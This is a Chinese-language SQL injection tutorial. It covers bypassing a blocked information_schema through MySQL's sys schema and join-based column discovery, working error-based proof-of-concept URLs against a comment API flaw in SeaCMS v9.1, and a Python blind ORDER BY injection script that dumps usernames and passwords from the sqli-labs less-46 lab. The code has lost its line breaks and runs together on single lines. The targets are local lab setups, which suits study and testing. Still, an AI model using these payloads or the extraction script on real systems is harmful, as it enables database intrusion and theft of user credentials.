目录
一、当注入时,information_schema被禁用的解决方法
1.通过sys库可以获取到表名和库名
2.通过无列名注入join获取列名
二、seasms v9 注入漏洞
三、order by注入
一、当注入时,information_schema被禁用的解决方法
information_schema数据库是MySQL和其他一些数据库系统中存储元数据的标准视图,包含表、列、权限等信息。攻击时可以直接查询这些信息来获取数据库结构,比如表名和列名。当information_schema被禁用时需要寻找其他途径来获取必要的信息。
1.通过sys库可以获取到表名和库名
在 Mysql 5.7 版本中新增了 sys.schema ,基础数据来自于 performance_schema和information_sche两个库中,其本身并不存储数据。
可以代替information_schema的表:
sys.schema_table_statistics:
该表提供了关于表的统计信息,包括表所在的数据库(table_schema)和表名(table_name)。sys.schema_table_statistics_with_buffer:
除了提供基本的表统计信息外,还包含了InnoDB缓冲池的统计信息,同样有table_schema和table_name字段。sys.schema_auto_increment_columns:
如果表中有自增ID列,这个视图会包含相关信息,可以用来间接推断出表的存在,但只限于有自增列的表。
2.通过无列名注入join获取列名
由于join是将两张表的列名给加起来,所以有可能会产生相同的列名,而在使用别名时,是不允出现相同的列名的,因此当它们两个一起使用时,由于会出现多个相同的列名,那么他就会报错。就可以利用此特性进行sql注入查询列名。
select * from (select * from users as a join users b)c;
当查询完第一个列名时,使用using排除,继续查询下一个列名。
select * from (select * from users as a join users as b using(id)) as c;
以此类推可以获取到想要的列名。
二、seasms v9 注入漏洞
漏洞文件:
seacmsV9.1/upload/comment/api/index.php
漏洞代码:
<?php
session_start();
require_once("../../include/common.php");
$id = (isset($gid) && is_numeric($gid)) ? $gid : 0;
$page = (isset($page) && is_numeric($page)) ? $page : 1;
$type = (isset($type) && is_numeric($type)) ? $type : 1;
$pCount = 0;
$jsoncachefile = sea_DATA."/cache/review/$type/$id.js";if($page<2)
{if(file_exists($jsoncachefile)){$json=LoadFile($jsoncachefile);die($json);}
}
$h = ReadData($id,$page);
$rlist = array();
if($page<2)
{createTextFile($h,$jsoncachefile);
}
die($h); function ReadData($id,$page)
{global $type,$pCount,$rlist;$ret = array("","",$page,0,10,$type,$id);if($id>0){$ret[0] = Readmlist($id,$page,$ret[4]);$ret[3] = $pCount;$x = implode(',',$rlist);if(!empty($x)){$ret[1] = Readrlist($x,1,10000);}} $readData = FormatJson($ret);return $readData;
}function Readmlist($id,$page,$size)
{global $dsql,$type,$pCount,$rlist;$ml=array();if($id>0){$sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";$rs = $dsql ->GetOne($sqlCount);$pCount = ceil($rs['dd']/$size);$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)*$size.",$size ";$dsql->setQuery($sql);$dsql->Execute('commentmlist');while($row=$dsql->GetArray('commentmlist')){$row['reply'].=ReadReplyID($id,$row['reply'],$rlist);$ml[]="{\"cmid\":".$row['id'].",\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".date("Y/n/j H:i:s",$row['dtime'])."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";}}$readmlist=join($ml,",");return $readmlist;
}function Readrlist($ids,$page,$size)
{global $dsql,$type;$rl=array();$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";$dsql->setQuery($sql);$dsql->Execute('commentrlist');while($row=$dsql->GetArray('commentrlist')){$rl[]="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";}$readrlist=join($rl,",");return $readrlist;
}function ReadReplyID($gid,$cmid,&$rlist)
{global $dsql;if($cmid>0){if(!in_array($cmid,$rlist))$rlist[]=$cmid;$row = $dsql->GetOne("SELECT reply FROM sea_comment WHERE id=$cmid limit 0,1");if(is_array($row)){$ReplyID = ",".$row['reply'].ReadReplyID($gid,$row['reply'],$rlist);}else{$ReplyID = "";}}else{$ReplyID = "";}return $ReplyID;
}function FormatJson($json)
{$x = "{\"mlist\":[%0%],\"rlist\":{%1%},\"page\":{\"page\":%2%,\"count\":%3%,\"size\":%4%,\"type\":%5%,\"id\":%6%}}";for($i=6;$i>=0;$i--){$x=str_replace("%".$i."%",$json[$i],$x);}$formatJson = jsonescape($x);return $formatJson;
}function jsonescape($txt)
{$jsonescape=str_replace(chr(13),"",str_replace(chr(10),"",json_decode(str_replace("%u","\u",json_encode("".$txt)))));return $jsonescape;
}
在代码中,$ids是通过$rlist数组收集的,而$rlist是在Readmlist和ReadReplyID函数中被填充的。在代码中,当处理评论回复时,会递归地收集相关的回复ID,存入$rlist数组中,然后生成$ids作为逗号分隔的字符串。在Readrlist函数中,$ids被直接拼接到SQL查询的IN子句中,而没有任何转义或参数化处理。因此我们可以通过报错注入和单引号绕过的方法实现注入。
通过报错注入出当前用户:
http://127.0.0.1/seacmsV9.1/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20user()))),@`%27`
当前数据库:
http://127.0.0.1/seacmsV9.1/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,0x5c,(select%20database()))),@`%27`
注入获取表:
http://127.0.0.1/seacmsV9.1/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,concat_ws(0x5c,0x5c,(select%20table_name%20from%23%0ainformation_schema.tables%20where%20table_schema%20=0x736561636d73%20limit%200,1))),@`%27`
【这里获取表时不会报错出东西】
三、order by注入
sort前面是order by,通过sort传入的字段排序,可以通过用sort=if(表达式,列1,列2)的方式注入
可以通过BeautifulSoup爬取表格中username下一格的值来判断表达式的真假,并通过二分查找加快注入速度
import requests
from lxml import htmldef get_id_one(URl, paload):res = requests.get(url=URl, params=paload)tree = html.fromstring(res.content)id_one = tree.xpath('//table//tr[1]/td[1]/text()')[0].strip()return id_onedef get_database(URl):s = ""for i in range(1, 10):low = 32hight = 128mid = (low + hight) // 2while (hight > low):paload = { "sort": f"if((greatest(ascii(substr(database(),{i},1)),{mid})={mid}),id,username) -- "}id_one = get_id_one(URl, paload)if id_one == "1":hight = midmid = (low + hight) // 2else:low = mid + 1mid = (low + hight) // 2s += chr(mid)print("数据库名:" + s)def get_table(URl):s = ""for i in range(1, 32):low = 32hight = 128mid = (low + hight) // 2while (hight > low):paload = {"sort": f"if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\"security\"),{i},1))>{mid}),id,username) -- "}id_one = get_id_one(URl, paload)if id_one == "1":low = mid + 1mid = (low + hight) // 2else:hight = midmid = (low + hight) // 2s += chr(mid)print("表:" + s)def get_column(URl):s = ""for i in range(1, 32):low = 32hight = 128mid = (low + hight) // 2while (hight > low):paload = {"sort": f"if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=\"security\" and table_name=\"users\"),{i},1))>{mid}),id,username) -- "}id_one = get_id_one(URl, paload)if id_one == "1":low = mid + 1mid = (low + hight) // 2else:hight = midmid = (low + hight) // 2s += chr(mid)print("列:" + s)def get_result(URl):s = ""for i in range(1, 32):low = 32hight = 128mid = (low + hight) // 2while (hight > low):paload = {"sort": f"if((ascii(substr((select group_concat(username,0x3e,password) from users),{i},1))>{mid}),id,username) -- "}id_one = get_id_one(URl, paload)if id_one == "1":low = mid + 1mid = (low + hight) // 2else:hight = midmid = (low + hight) // 2s += chr(mid)print("用户名和密码信息:" + s)if __name__ == '__main__':URl = "http://127.0.0.1/sqlilabs/less-46/index.php"get_database(URl)get_table(URl)get_column(URl)get_result(URl)